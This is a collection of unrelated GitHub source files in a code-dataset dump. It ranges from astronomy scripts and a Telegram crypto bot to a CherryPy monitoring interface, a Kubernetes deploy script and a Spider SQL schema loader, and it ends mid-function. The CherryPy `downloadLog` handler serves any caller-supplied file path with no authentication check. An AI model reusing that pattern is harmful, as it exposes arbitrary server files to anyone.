os.path.exists(file_out_ps):\n os.remove(file_out_ps)\n\nfile_out_apt='APT_match_PS_radec_mag_instrument.txt'\nif os.path.exists(file_out_apt):\n os.remove(file_out_apt)\n\n#sys.exit(0)\n\n\nf_ps=open(file_out_ps,'w')\n#f_ps.write('ra,dec,\\n')\nfor i in range(n_match):\n f_ps.write(str(ra_ps_match[i])+'\\t'+str(dec_ps_match[i])+'\\t'+str(Rmag_ps_match[i])+'\\n')\nf_ps.close()\n\n#sys.exit(0)\n\nf_apt=open(file_out_apt,'w')\n#f_apt.write('ra,dec\\n')\nfor i in range(n_match):\n f_apt.write(str(ra_apt_match[i])+'\\t'+str(dec_apt_match[i])+'\\t'+str(mag_apt_match[i])+'\\n')\nf_apt.close()\n\nprint()\nprint('generate 2 files:')\nprint(file_out_ps)\nprint(file_out_apt)\nprint()\nprint('... now go to \"APT Simple Photometry Calibrator\" and feed these 2 files ...')\nprint()\nprint('... finished ...')","repo_name":"anlitsai/gasp.v0","sub_path":"old_code/APT_match_PS_radec_form.py","file_name":"APT_match_PS_radec_form.py","file_ext":"py","file_size_in_byte":6665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2957493911","text":"\"\"\" Урок 5. Практика. Задание 3\n Есть файл, в котором много англоязычных текстовых строк. Считаем частоту встретившихся слов в файле,\n но через функции и map, без единого цикла! \"\"\"\n\nimport re\n\nfile_input = 'find_english_text.txt'\n\nwith open(file_input, 'r', encoding='utf-8') as file:\n text = str(file.read())\n\n\ndef spotEnglishWords(word):\n eng_word = re.search(r'[A-Za-z]+', word)\n return 1 if bool(eng_word) else 0\n\n\nresult = sum(list(map(spotEnglishWords, text.split())))\nprint(f\"The amount of English words in the '{file_input}' - {result}\\n\")\n","repo_name":"DerSerhii/homeworks","sub_path":"hw5_Find_English.py","file_name":"hw5_Find_English.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38324295813","text":"import json\n\nimport aiohttp\nfrom cache.redis import redis_cache\nfrom config import app_config\n\n\nasync def get_item(item_id):\n async with aiohttp.ClientSession() as session:\n return await fetch_item(item_id, session)\n\n\nasync def fetch_item(item_id, session):\n cached_item = await redis_cache.get(item_id)\n if cached_item is not None:\n item = json.loads(cached_item)\n else:\n async with session.get(\n app_config.HACKER_NEWS_API_BASE_URL + f\"item/{item_id}.json\"\n ) as response:\n res = await response.json()\n\n item = prepare_item_data(res)\n\n await redis_cache.set(item_id, item, 3600)\n\n if \"kids\" in item and item[\"kids\"] is not None:\n kids = []\n for kid_id in item[\"kids\"]:\n kid = await fetch_item(kid_id, session)\n kids.append(kid)\n item[\"kids\"] = kids\n\n return item\n\n\ndef prepare_item_data(item):\n field_mapping = {\n \"story\": {\"id\": \"id\", \"url\": \"url\", \"kids\": \"kids\"},\n \"comment\": {\"by\": \"by\", \"text\": \"text\", \"time\": \"time\", \"kids\": \"kids\"},\n }\n\n item_type = item.get(\"type\", \"\")\n result = {\n new_key: item.get(old_key)\n for new_key, old_key in field_mapping.get(item_type, {}).items()\n } or item\n\n return result\n","repo_name":"kihaev/hackernews_wrapper","sub_path":"app/services/item_service.py","file_name":"item_service.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10404323134","text":"def train(model, dataloader, criterion, opti):\n scaler = torch.cuda.amp.GradScaler()\n correct = 0\n total_loss = 0\n \n model.train()\n for data, target in tqdm(dataloader, total=len(dataloader)):\n data = data.to('cuda')\n target = target.to('cuda')\n \n opti.zero_grad()\n with torch.cuda.amp.autocast():\n output = model(data)\n loss = criterion(output, target)\n \n scaler.scale(loss).backward()\n scaler.step(opti)\n scaler.update()\n \n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n total_loss += loss.item()\n \n acc = 100. * correct / len(dataloader.dataset)\n total_loss /= len(dataloader.dataset)\n return acc, total_loss\n","repo_name":"co1dtype/noise_CIFAR-100","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22833877095","text":"import logging\nimport time\n\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import Message, CallbackQuery\n\nfrom loader import bot\nfrom keyboards.currencies_kb import inline_currencies\nfrom binance_api.exchange_info import get_price, get_avg_price, get_historical_data, plotting, removing_picture, price_change_percent\n\n\nasync def get_start(message : Message, state: FSMContext):\n user_id = message.from_user.id\n user_first_name = message.from_user.first_name\n async with state.proxy() as data:\n data['user_id'] = user_id\n logging.info(f\"{user_id} {user_first_name} {time.asctime()}\")\n await message.reply(f\"Hi, {user_first_name}!\\n\\nPlease select cryptocurrency that you want to get info about\", reply_markup=inline_currencies)\n\n\nasync def button_pressed(call : CallbackQuery, state: FSMContext):\n currency_name = call.data.split('_')[1]\n symbol = currency_name + \"USDT\"\n price = get_price(symbol)\n avg_price = get_avg_price(symbol)\n data = get_historical_data(symbol, '12h', '1w')\n chart_name = plotting(data, symbol)\n price_change24h = price_change_percent(symbol)\n async with state.proxy() as data:\n await bot.send_photo(data['user_id'], \n photo=open(chart_name, 'rb'),\n caption=f\"{currency_name} Price Chart for last week\\n\\nINFO about {currency_name}\\n\\nCurrent price --- {price} USDT \\nAverage price --- {avg_price} USDT\\nPrice change percent for last 24h --- {price_change24h} %\")\n await call.answer()\n removing_picture(chart_name)\n\n\n\n \n\n\n","repo_name":"nllllibeth/currency_bot","sub_path":"handlers/main_handlers.py","file_name":"main_handlers.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12198354246","text":"def numJewelsInStones(jewels: str, stones: str) -> int:\r\n # jewarr = list(jewels)\r\n # stonarr = list(stones)\r\n # numOfJewels = 0\r\n # for i in jewarr:\r\n # for j in range(len(stonarr)):\r\n # if i == stonarr[j]:\r\n # numOfJewels+=1\r\n # print(numOfJewels)\r\n print(sum(map(stones.count, jewels)))\r\n print(sum(map(jewels.count, stones)))\r\n\r\n\r\njewels = \"aA\"\r\nstones = \"aAAbbbb\"\r\nnumJewelsInStones(jewels,stones)","repo_name":"Mirzo001/LeetCodeReview","sub_path":"771. Jewels and Stones.py","file_name":"771. Jewels and Stones.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5626398932","text":"from flask import render_template, Flask, request, send_from_directory\nfrom app_main import app\n#import os\nfrom boto.s3.connection import S3Connection\nfrom aws import aws_access, aws_key\n\n# conn = S3Connection('access-key','secret-access-key')\n\ndef check_gifs():\n\tgifs = []\n\t# \tfor root, dirs, files in os.walk(\"/media/ana0/000/Documents/wigglegif/web/app_main/static/giftest\"):\n\t# \t for f in files:\n\t# \t if f.endswith('.GIF'):\n\t# \t gifs.append(f)\n\tconn = S3Connection(aws_access,aws_key)\n\tbucket = conn.get_bucket('wigglegifphotobooth')\n\tif bucket:\n\t\tfor key in bucket.list():\n\t\t\tgifs.append(str(key.generate_url(expires_in=1000, query_auth=False)))\n\n\t\t#this part is going on because of weird ordeing from AWS\n\t\tfor i in range(len(gifs)):\n\t\t\tgifs[i] = gifs[i].split(\"/\")\n\t\t\tgifs[i] = gifs[i][-1]\n\t\t\tgifs[i] = gifs[i].split(\".\")\n\t\t\tgifs[i] = int(gifs[i][0])\n\n\t\tgifs = list(reversed(sorted(gifs)))\n\n\t\tfor i in range(len(gifs)):\n\t\t\tgifs[i] = \"https://wigglegifphotobooth.s3.amazonaws.com/\" + str(gifs[i]) + \".GIF\"\n\n\t\treturn gifs\n\telse:\n\t\treturn \"sorry please try again later\"\n\ndef total_pages(gifs,count_by):\n\ttry:\n\t\treturn len(gifs)//countby + 1\n\texcept:\n\t\treturn \"sorry please try again later\"\n\n\ngifs = check_gifs()\ncountby = 15\npages = total_pages(gifs, countby)\n\n@app.route('/')\ndef hello_world():\n\tmore = True\n\treturn render_template('index.html', gifs=gifs[countby*0:countby], more=more, next=str(2))\n\n\n@app.route('/')\ndef pagination(num=[num+1 for num in range(pages) if num!=1]):\n\tmore = True\n\tif num >= pages:\n\t\tmore = False\n\tnext = num+1\n\treturn render_template('index.html', gifs=gifs[countby*1:countby*2], more=more, next=str(next))\n","repo_name":"ana0/wigglegif-photobooth","sub_path":"web/app_main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4463310182","text":"import os, cherrypy, urllib, collections\r\nfrom cherrypy import _cperror\r\nfrom cherrypy.lib.static import serve_file\r\nimport simplejson as json\r\nfrom cherrystrap.auth import AuthController, require, member_of, name_is\r\nfrom cherrystrap.templating import serve_template\r\n\r\nimport threading, time\r\n\r\nimport cherrystrap\r\n\r\nfrom cherrystrap import logger, formatter\r\nfrom orielpy.subroutines import subroutines\r\nfrom orielpy.notifiers import twitter_notifier\r\n\r\nSESSION_KEY = '_cp_username'\r\n\r\nclass WebInterface(object):\r\n\r\n def error_page_404(status, message, traceback, version):\r\n status_msg = \"%s - %s\" % (status, message)\r\n return serve_template(templatename=\"index.html\", title=\"404 - Page Not Found\", msg=status_msg)\r\n cherrypy.config.update({'error_page.404': error_page_404})\r\n\r\n def handle_error():\r\n cherrypy.response.status = 500\r\n logger.error(\"500 Error: %s\" % _cperror.format_exc())\r\n cherrypy.response.body = [\"Sorry, an error occured\"]\r\n\r\n _cp_config = {\r\n 'tools.sessions.on': True,\r\n 'tools.sessions.timeout': 10080,\r\n 'tools.auth.on': True,\r\n 'error_page.404': error_page_404,\r\n 'request.error_response': handle_error\r\n }\r\n\r\n auth = AuthController()\r\n\r\n @require()\r\n def index(self):\r\n subroutine = subroutines()\r\n staticData = subroutine.static_subroutine()\r\n numCPUs = len(subroutine.cpuload_subroutine())\r\n numDisks = len(subroutine.diskio_subroutine())\r\n numPartitions = len(subroutine.partitions_subroutine())\r\n fansTemps = subroutine.sysfiles_subroutine()\r\n\r\n return serve_template(templatename=\"index.html\", title=\"Home\", staticData=staticData, numCPUs=numCPUs, numDisks=numDisks, numPartitions=numPartitions, fansTemps=fansTemps)\r\n index.exposed=True\r\n\r\n @require()\r\n def config(self):\r\n http_look_dir = os.path.join(cherrystrap.PROG_DIR, 'static/interfaces/')\r\n http_look_list = [ name for name in os.listdir(http_look_dir) if os.path.isdir(os.path.join(http_look_dir, name)) ]\r\n\r\n config = {\r\n \"http_look_list\": http_look_list\r\n }\r\n\r\n return serve_template(templatename=\"config.html\", title=\"Settings\", config=config)\r\n config.exposed = True\r\n\r\n @require()\r\n def log(self):\r\n return serve_template(templatename=\"log.html\", title=\"Log\", lineList=cherrystrap.LOGLIST)\r\n log.exposed = True\r\n\r\n @require()\r\n def logs(self):\r\n return serve_template(templatename=\"logs.html\", title=\"Logs\")\r\n logs.exposed = True\r\n\r\n @require()\r\n def processes(self):\r\n return serve_template(templatename=\"processes.html\", title=\"Processes\")\r\n processes.exposed = True\r\n\r\n @require()\r\n def configlogs(self):\r\n return serve_template(templatename=\"configlogs.html\", title=\"Configure Logs\")\r\n configlogs.exposed = True\r\n\r\n @require()\r\n def configrules(self):\r\n return serve_template(templatename=\"configrules.html\", title=\"Configure Rules\")\r\n configrules.exposed = True\r\n\r\n def downloadLog(self, logFile=None):\r\n message = {}\r\n if logFile:\r\n try:\r\n return serve_file(logFile, \"application/x-download\", \"attachment\")\r\n except Exception as e:\r\n message['status'] = 'danger'\r\n message['message'] = 'There was a problem downloading log file %s' % logFile\r\n logger.error('There was a problem downloading log file %s: %s' % (logFile, e))\r\n return serve_template(templatename=\"logs.html\", title=\"Logs\", message=message)\r\n\r\n else:\r\n message['status'] = 'warning'\r\n message['message'] = 'You must define a logFile to download'\r\n return serve_template(templatename=\"logs.html\", title=\"Logs\", message=message)\r\n\r\n downloadLog.exposed = True\r\n\r\n @require()\r\n def shutdown(self):\r\n cherrystrap.config_write()\r\n cherrystrap.SIGNAL = 'shutdown'\r\n message = 'shutting down ...'\r\n return serve_template(templatename=\"shutdown.html\", title=\"Exit\", message=message, timer=10)\r\n return page\r\n shutdown.exposed = True\r\n\r\n @require()\r\n def restart(self):\r\n cherrystrap.SIGNAL = 'restart'\r\n message = 'restarting ...'\r\n return serve_template(templatename=\"shutdown.html\", title=\"Restart\", message=message, timer=15)\r\n restart.exposed = True\r\n\r\n @require()\r\n def shutdown(self):\r\n cherrystrap.config_write()\r\n cherrystrap.SIGNAL = 'shutdown'\r\n message = 'shutting down ...'\r\n return serve_template(templatename=\"shutdown.html\", title=\"Exit\", message=message, timer=15)\r\n return page\r\n shutdown.exposed = True\r\n\r\n @require()\r\n def update(self):\r\n cherrystrap.SIGNAL = 'update'\r\n message = 'updating ...'\r\n return serve_template(templatename=\"shutdown.html\", title=\"Update\", message=message, timer=30)\r\n update.exposed = True\r\n\r\n # Safe to delete this def, it's just there as a reference\r\n def template(self):\r\n return serve_template(templatename=\"template.html\", title=\"Template Reference\")\r\n template.exposed=True\r\n\r\n def checkGithub(self):\r\n # Make sure this is requested via ajax\r\n request_type = cherrypy.request.headers.get('X-Requested-With')\r\n if str(request_type).lower() == 'xmlhttprequest':\r\n pass\r\n else:\r\n status_msg = \"This page exists, but is not accessible via web browser\"\r\n return serve_template(templatename=\"index.html\", title=\"404 - Page Not Found\", msg=status_msg)\r\n\r\n from cherrystrap import versioncheck\r\n versioncheck.checkGithub()\r\n cherrystrap.IGNORE_UPDATES = False\r\n checkGithub.exposed = True\r\n\r\n def ignoreUpdates(self):\r\n # Make sure this is requested via ajax\r\n request_type = cherrypy.request.headers.get('X-Requested-With')\r\n if str(request_type).lower() == 'xmlhttprequest':\r\n pass\r\n else:\r\n status_msg = \"This page exists, but is not accessible via web browser\"\r\n return serve_template(templatename=\"index.html\", title=\"404 - Page Not Found\", msg=status_msg)\r\n\r\n cherrystrap.IGNORE_UPDATES = True\r\n ignoreUpdates.exposed = True\r\n\r\n def ajaxUpdate(self):\r\n # Make sure this is requested via ajax\r\n request_type = cherrypy.request.headers.get('X-Requested-With')\r\n if str(request_type).lower() == 'xmlhttprequest':\r\n pass\r\n else:\r\n status_msg = \"This page exists, but is not accessible via web browser\"\r\n return serve_template(templatename=\"index.html\", title=\"404 - Page Not Found\", msg=status_msg)\r\n\r\n return serve_template(templatename=\"ajaxUpdate.html\")\r\n ajaxUpdate.exposed = True\r\n\r\n\r\n def twitterStep1(self):\r\n cherrypy.response.headers['Cache-Control'] = \"max-age=0,no-cache,no-store\"\r\n\r\n return twitter_notifier._get_authorization()\r\n twitterStep1.exposed = True\r\n\r\n def twitterStep2(self, key):\r\n cherrypy.response.headers['Cache-Control'] = \"max-age=0,no-cache,no-store\"\r\n message={}\r\n\r\n result = twitter_notifier._get_credentials(key)\r\n logger.info(u\"result: \"+str(result))\r\n\r\n if result:\r\n message['status'] = 'success'\r\n message['message'] = 'Key verification successful'\r\n return \"Key verification successful\"\r\n else:\r\n message['status'] = 'danger'\r\n message['message'] = 'Unable to verify key'\r\n return \"Unable to verify key\"\r\n twitterStep2.exposed = True\r\n\r\n def testTwitter(self):\r\n cherrypy.response.headers['Cache-Control'] = \"max-age=0,no-cache,no-store\"\r\n\r\n result = twitter_notifier.test_notify()\r\n if result:\r\n return \"Tweet successful, check your twitter to make sure it worked\"\r\n else:\r\n return \"Error sending tweet\"\r\n testTwitter.exposed = True\r\n","repo_name":"theguardian/OrielPy","sub_path":"cherrystrap/webServe.py","file_name":"webServe.py","file_ext":"py","file_size_in_byte":8037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74461011254","text":"\n# deployment_automation.py\n\nimport os\nimport time\nfrom kubernetes import client, config, utils\n\ndef deploy_microservice(service_name, image, replicas, namespace):\n # Load Kubernetes configuration from the default location\n config.load_kube_config()\n\n # Initialize Kubernetes API client\n api_instance = client.AppsV1Api()\n\n # Define the deployment spec\n deployment_spec = client.V1Deployment(\n metadata=client.V1ObjectMeta(name=service_name, namespace=namespace),\n spec=client.V1DeploymentSpec(\n replicas=replicas,\n selector=client.V1LabelSelector(match_labels={'app': service_name}),\n template=client.V1PodTemplateSpec(\n metadata=client.V1ObjectMeta(labels={'app': service_name}),\n spec=client.V1PodSpec(\n containers=[\n client.V1Container(\n name=service_name,\n image=image,\n ports=[client.V1ContainerPort(container_port=80)],\n # Add more container configurations as needed\n )\n ]\n )\n )\n )\n )\n\n try:\n # Create or update the deployment\n api_instance.create_namespaced_deployment(namespace=namespace, body=deployment_spec)\n\n # Wait for the deployment to be ready\n while True:\n deployment_status = api_instance.read_namespaced_deployment_status(service_name, namespace)\n if deployment_status.status.available_replicas == replicas:\n print(f\"{service_name} deployment is ready with {replicas} replicas.\")\n break\n time.sleep(5)\n\n except Exception as e:\n print(f\"Error deploying {service_name}: {e}\")\n\nif __name__ == \"__main__\":\n # Example usage\n service_name = \"webapp\"\n image = \"your-registry/your-webapp-image:latest\"\n replicas = 3\n namespace = \"default\"\n\n deploy_microservice(service_name, image, replicas, namespace)\n","repo_name":"fizzazakir/pyhonscript","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31487927203","text":"import unittest\n\nfrom src.constants import fields, values\nfrom src.dtos.context import Context\nfrom src.mappers import risk_mapper\n\nclass TestRiskMapper(unittest.TestCase):\n\n def test_all_conditions(self):\n context = Context({}, 0)\n context.response.auto = values.INELIGIBLE\n context.disability.value = -1\n context.home.value = 2\n context.life.value = 4\n\n score = risk_mapper.to_score(context)\n\n self.assertEqual(score.auto, values.INELIGIBLE)\n self.assertEqual(score.disability, values.ECONOMIC)\n self.assertEqual(score.home, values.REGULAR)\n self.assertEqual(score.life, values.RESPONSIBLE)","repo_name":"robsonrigatto/risk-calculator-python","sub_path":"tests/mappers/test_risk_mapper.py","file_name":"test_risk_mapper.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8181428183","text":"import os\nimport dataclasses\nimport json\nfrom typing import Optional, Tuple, List, Iterable\n\nimport networkx as nx\nfrom pydantic.dataclasses import dataclass\nfrom pydantic.main import BaseConfig\n\nfrom third_party.spider import evaluation\nfrom third_party.spider.preprocess.schema import get_schemas_from_json, Schema\n\n\n@dataclass\nclass SpiderTable:\n id: int\n name: List[str]\n unsplit_name: str\n orig_name: str\n columns: List[\"SpiderColumn\"] = dataclasses.field(default_factory=list)\n primary_keys: List[str] = dataclasses.field(default_factory=list)\n\n\n@dataclass\nclass SpiderColumn:\n id: int\n table: Optional[SpiderTable]\n name: List[str]\n unsplit_name: str\n orig_name: str\n type: str\n foreign_key_for: Optional[str] = None\n\n\nSpiderTable.__pydantic_model__.update_forward_refs()\n\n\nclass SpiderSchemaConfig:\n arbitrary_types_allowed = True\n\n\n@dataclass(config=SpiderSchemaConfig)\nclass SpiderSchema(BaseConfig):\n db_id: str\n tables: Tuple[SpiderTable, ...]\n columns: Tuple[SpiderColumn, ...]\n foreign_key_graph: nx.DiGraph\n orig: dict\n\n\n@dataclass\nclass SpiderItem:\n question: str\n slml_question: Optional[str]\n query: str\n spider_sql: dict\n spider_schema: SpiderSchema\n db_path: str\n orig: dict\n\n\ndef schema_dict_to_spider_schema(schema_dict):\n tables = tuple(\n SpiderTable(id=i, name=name.split(), unsplit_name=name, orig_name=orig_name,)\n for i, (name, orig_name) in enumerate(\n zip(schema_dict[\"table_names\"], schema_dict[\"table_names_original\"])\n )\n )\n columns = tuple(\n SpiderColumn(\n id=i,\n table=tables[table_id] if table_id >= 0 else None,\n name=col_name.split(),\n unsplit_name=col_name,\n orig_name=orig_col_name,\n type=col_type,\n )\n for i, ((table_id, col_name), (_, orig_col_name), col_type,) in enumerate(\n zip(\n schema_dict[\"column_names\"],\n schema_dict[\"column_names_original\"],\n schema_dict[\"column_types\"],\n )\n )\n )\n\n # Link columns to tables\n for column in columns:\n if column.table:\n column.table.columns.append(column)\n\n for column_id in schema_dict[\"primary_keys\"]:\n # Register primary keys\n column = columns[column_id]\n column.table.primary_keys.append(column)\n\n foreign_key_graph = nx.DiGraph()\n for source_column_id, dest_column_id in schema_dict[\"foreign_keys\"]:\n # Register foreign keys\n source_column = columns[source_column_id]\n dest_column = columns[dest_column_id]\n source_column.foreign_key_for = dest_column\n foreign_key_graph.add_edge(\n source_column.table.id,\n dest_column.table.id,\n columns=(source_column_id, dest_column_id),\n )\n foreign_key_graph.add_edge(\n dest_column.table.id,\n source_column.table.id,\n columns=(dest_column_id, source_column_id),\n )\n\n db_id = schema_dict[\"db_id\"]\n return SpiderSchema(db_id, tables, columns, foreign_key_graph, schema_dict)\n\n\ndef load_tables(paths):\n schemas = {}\n eval_foreign_key_maps = {}\n\n with open(paths, 'r',encoding='UTF-8') as f:\n schema_dicts = json.load(f)\n\n for schema_dict in schema_dicts:\n db_id = schema_dict[\"db_id\"]\n if 'column_names_original' not in schema_dict: # {'table': [col.lower, ..., ]} * -> __all__\n # continue\n schema_dict[\"column_names_original\"] = schema_dict[\"column_names\"]\n schema_dict[\"table_names_original\"] = schema_dict[\"table_names\"]\n\n # assert db_id not in schemas\n schemas[db_id] = schema_dict_to_spider_schema(schema_dict)\n eval_foreign_key_maps[db_id] = evaluation.build_foreign_key_map(schema_dict)\n\n\n return schemas, eval_foreign_key_maps\n\n\ndef load_original_schemas(tables_paths):\n all_schemas = {}\n schemas, db_ids, tables = get_schemas_from_json(tables_paths)\n for db_id in db_ids:\n all_schemas[db_id] = Schema(schemas[db_id], tables[db_id])\n return all_schemas\n","repo_name":"microsoft/ContextualSP","sub_path":"unified_parser_text_to_sql/semparse/sql/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"21"} +{"seq_id":"12023964148","text":"from unittest import TestCase\nimport string\nimport random\nimport os\nfrom shutil import copytree, rmtree\nimport tempfile\nimport uuid\nfrom aequilibrae.project.network.mode import Mode\nfrom aequilibrae.project import Project\nfrom ...data import no_triggers_project\n\n\nclass TestMode(TestCase):\n def setUp(self) -> None:\n os.environ['PATH'] = os.path.join(tempfile.gettempdir(), 'temp_data') + ';' + os.environ['PATH']\n self.temp_proj_folder = os.path.join(tempfile.gettempdir(), uuid.uuid4().hex)\n copytree(no_triggers_project, self.temp_proj_folder)\n self.proj = Project()\n self.proj.open(self.temp_proj_folder)\n self.curr = self.proj.conn.cursor()\n\n letters = [random.choice(string.ascii_letters + '_') for x in range(20)]\n self.random_string = ''.join(letters)\n\n def tearDown(self) -> None:\n self.proj.close()\n\n def test_build(self):\n for val in ['1', 'ab', '', None]:\n with self.assertRaises(ValueError):\n m = Mode(val)\n\n for letter in range(10):\n letter = random.choice(string.ascii_letters)\n m = Mode(letter)\n del m\n\n def test_changing_mode_id(self):\n m = Mode('c')\n with self.assertRaises(ValueError):\n m.mode_id = 'test my description'\n\n def test_save(self):\n self.curr.execute(\"select mode_id from 'modes'\")\n\n letter = random.choice([x[0] for x in self.curr.fetchall()])\n m = Mode(letter)\n m.mode_name = self.random_string\n m.description = self.random_string[::-1]\n m.save()\n\n self.curr.execute(f'select description, mode_name from modes where mode_id=\"{letter}\"')\n\n desc, mname = self.curr.fetchone()\n self.assertEqual(desc, self.random_string[::-1], \"Didn't save the mode description correctly\")\n self.assertEqual(mname, self.random_string, \"Didn't save the mode name correctly\")\n\n def test_empty(self):\n a = Mode('k')\n a.mode_name = 'just a_test'\n with self.assertRaises(ValueError):\n a.save()\n\n a = Mode('l')\n a.mode_name = 'just_a_test_test_with_l'\n with self.assertRaises(ValueError):\n a.save()\n","repo_name":"chrisc20042001/AequilibraE","sub_path":"tests/aequilibrae/project/test_mode.py","file_name":"test_mode.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71189768053","text":"#https://docs.micropython.org/en/latest/library/bluetooth.html\n#This is what I used as a source.\n'''This documentation is not very good and I'm not sure '''\nimport bluetooth\n#from spike import PrimeHub\n\n\n'''These are all codes that i found in the documentation.\nI think what happens is when gap_scan finds something it will call bt_irq which we have to define with one of these \ncodes as the event parameter.\n\n_IRQ_CENTRAL_CONNECT = const(1)\n_IRQ_CENTRAL_DISCONNECT = const(2)\n_IRQ_GATTS_WRITE = const(3)\n_IRQ_GATTS_READ_REQUEST = const(4)\n_IRQ_SCAN_RESULT = const(5)\n_IRQ_SCAN_DONE = const(6)\n_IRQ_PERIPHERAL_CONNECT = const(7)\n_IRQ_PERIPHERAL_DISCONNECT = const(8)\n_IRQ_GATTC_SERVICE_RESULT = const(9)\n_IRQ_GATTC_SERVICE_DONE = const(10)\n_IRQ_GATTC_CHARACTERISTIC_RESULT = const(11)\n_IRQ_GATTC_CHARACTERISTIC_DONE = const(12)\n_IRQ_GATTC_DESCRIPTOR_RESULT = const(13)\n_IRQ_GATTC_DESCRIPTOR_DONE = const(14)\n_IRQ_GATTC_READ_RESULT = const(15)\n_IRQ_GATTC_READ_DONE = const(16)\n_IRQ_GATTC_WRITE_DONE = const(17)\n_IRQ_GATTC_NOTIFY = const(18)\n_IRQ_GATTC_INDICATE = const(19)\n_IRQ_GATTS_INDICATE_DONE = const(20)\n_IRQ_MTU_EXCHANGED = const(21)\n_IRQ_L2CAP_ACCEPT = const(22)\n_IRQ_L2CAP_CONNECT = const(23)\n_IRQ_L2CAP_DISCONNECT = const(24)\n_IRQ_L2CAP_RECV = const(25)\n_IRQ_L2CAP_SEND_READY = const(26)\n_IRQ_CONNECTION_UPDATE = const(27)\n_IRQ_ENCRYPTION_UPDATE = const(28)\n_IRQ_GET_SECRET = const(29)\n_IRQ_SET_SECRET = const(30)\n'''\n#These codes should be the only ones that are used\n_IRQ_SCAN_RESULT = 5\n_IRQ_SCAN_DONE = 6\n\n#I think this is called by gap_scan\ndef bt_irq(event, data):\n #This should be the case where the lego scanned something\n if event == _IRQ_SCAN_RESULT:\n print(\"do things with the messege\")\n #This should be the case where gap_scan is done scanning\n elif event == _IRQ_SCAN_DONE:\n print(\"done\")\n \n\n#hub = PrimeHub()\n\n# This should make blueFinder a BLE object, I don't know if this syntax is correct\n# My text editor isn't flagging it\nblueFinder = bluetooth\nblueFinder.config(addr_mode = 0x00)\n\n#This is used in gap_scan\n#When it is set to 0 it should scan idefinetly until it finds something\nscanTime = 0\n\n#What I intend for the loop to do is every iteration, scan indefintly with gap scan\nwhile True:\n #BLE.gap_scan(duration_ms, interval_us=1280000, window_us=11250, active=False, /)\n #gap_scan should run a scan operation lasting for the specified time, since \n #duration is 0, it will scan indefinetly until it finds something\n #I think this calls bt_irq which is defined above\n blueFinder.gap_scan(scanTime, interval_us=1280000, window_us=11250, active = False)\n","repo_name":"grSalonga/legoSpike","sub_path":"bluetooth_connection/legoBlue.py","file_name":"legoBlue.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"1768328473","text":"from __future__ import print_function, division\n\nimport cv2\nfrom subprocess import call\nfrom shutil import copyfile\nimport os\nimport numpy as np\n\n\ndef run_deepmatch(imname1, imname2):\n command = os.getenv(\"HOME\") + '/fbcode/_bin/experimental/' + \\\n 'deeplearning/dpathak/video-processing/deepmatch/deepmatch'\n call([command, imname1, imname2,\n '-out', os.getenv(\"HOME\") + '/local/data/trash/tmp.txt',\n '-downscale', '2'])\n with open(os.getenv(\"HOME\") + '/local/data/trash/tmp.txt', 'r') as f:\n lines = f.readlines()\n\n lines = [x.strip().split(' ') for x in lines]\n vals = np.array([[float(y) for y in x] for x in lines])\n x = ((vals[:, 0] - 8.) / 16.).astype(int)\n y = ((vals[:, 1] - 8.) / 16.).astype(int)\n U = np.zeros((int(np.max(y)) + 1, int(np.max(x)) + 1))\n U[(y, x)] = vals[:, 2] - vals[:, 0]\n V = np.zeros((int(np.max(y)) + 1, int(np.max(x)) + 1))\n V[(y, x)] = vals[:, 3] - vals[:, 1]\n\n img1 = cv2.imread(imname1)\n U1 = cv2.resize(U, (img1.shape[1], img1.shape[0]))\n V1 = cv2.resize(V, (img1.shape[1], img1.shape[0]))\n\n mag, ang = cv2.cartToPolar(U1, V1)\n print(np.max(mag))\n hsv = np.zeros_like(img1)\n hsv[..., 1] = 255\n hsv[..., 0] = ang * 180 / np.pi / 2\n hsv[..., 2] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX)\n bgr = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n return bgr\n\n\ndef get_examples(outdir=os.getenv(\"HOME\") + '/local/data/trash/'):\n with open('/mnt/vol/gfsai-local/ai-group/users/bharathh/imagenet_videos' +\n '/ILSVRC2015/ImageSets/VID/train_10.txt', 'r') as f:\n lines = f.readlines()\n\n if not os.path.isdir(outdir):\n os.mkdir(outdir)\n imdirs = [x.strip().split(' ')[0] for x in lines]\n rootdir = '/mnt/vol/gfsai-local/ai-group/users/bharathh/' + \\\n 'imagenet_videos/ILSVRC2015/Data/VID/train/'\n imdirs = [os.path.join(rootdir, x) for x in imdirs]\n ri = np.random.choice(len(imdirs), 4, False)\n imdirs = [imdirs[i] for i in ri]\n for i, d in enumerate(imdirs):\n print(i)\n files = os.listdir(d)\n files.sort()\n print(files[:2])\n 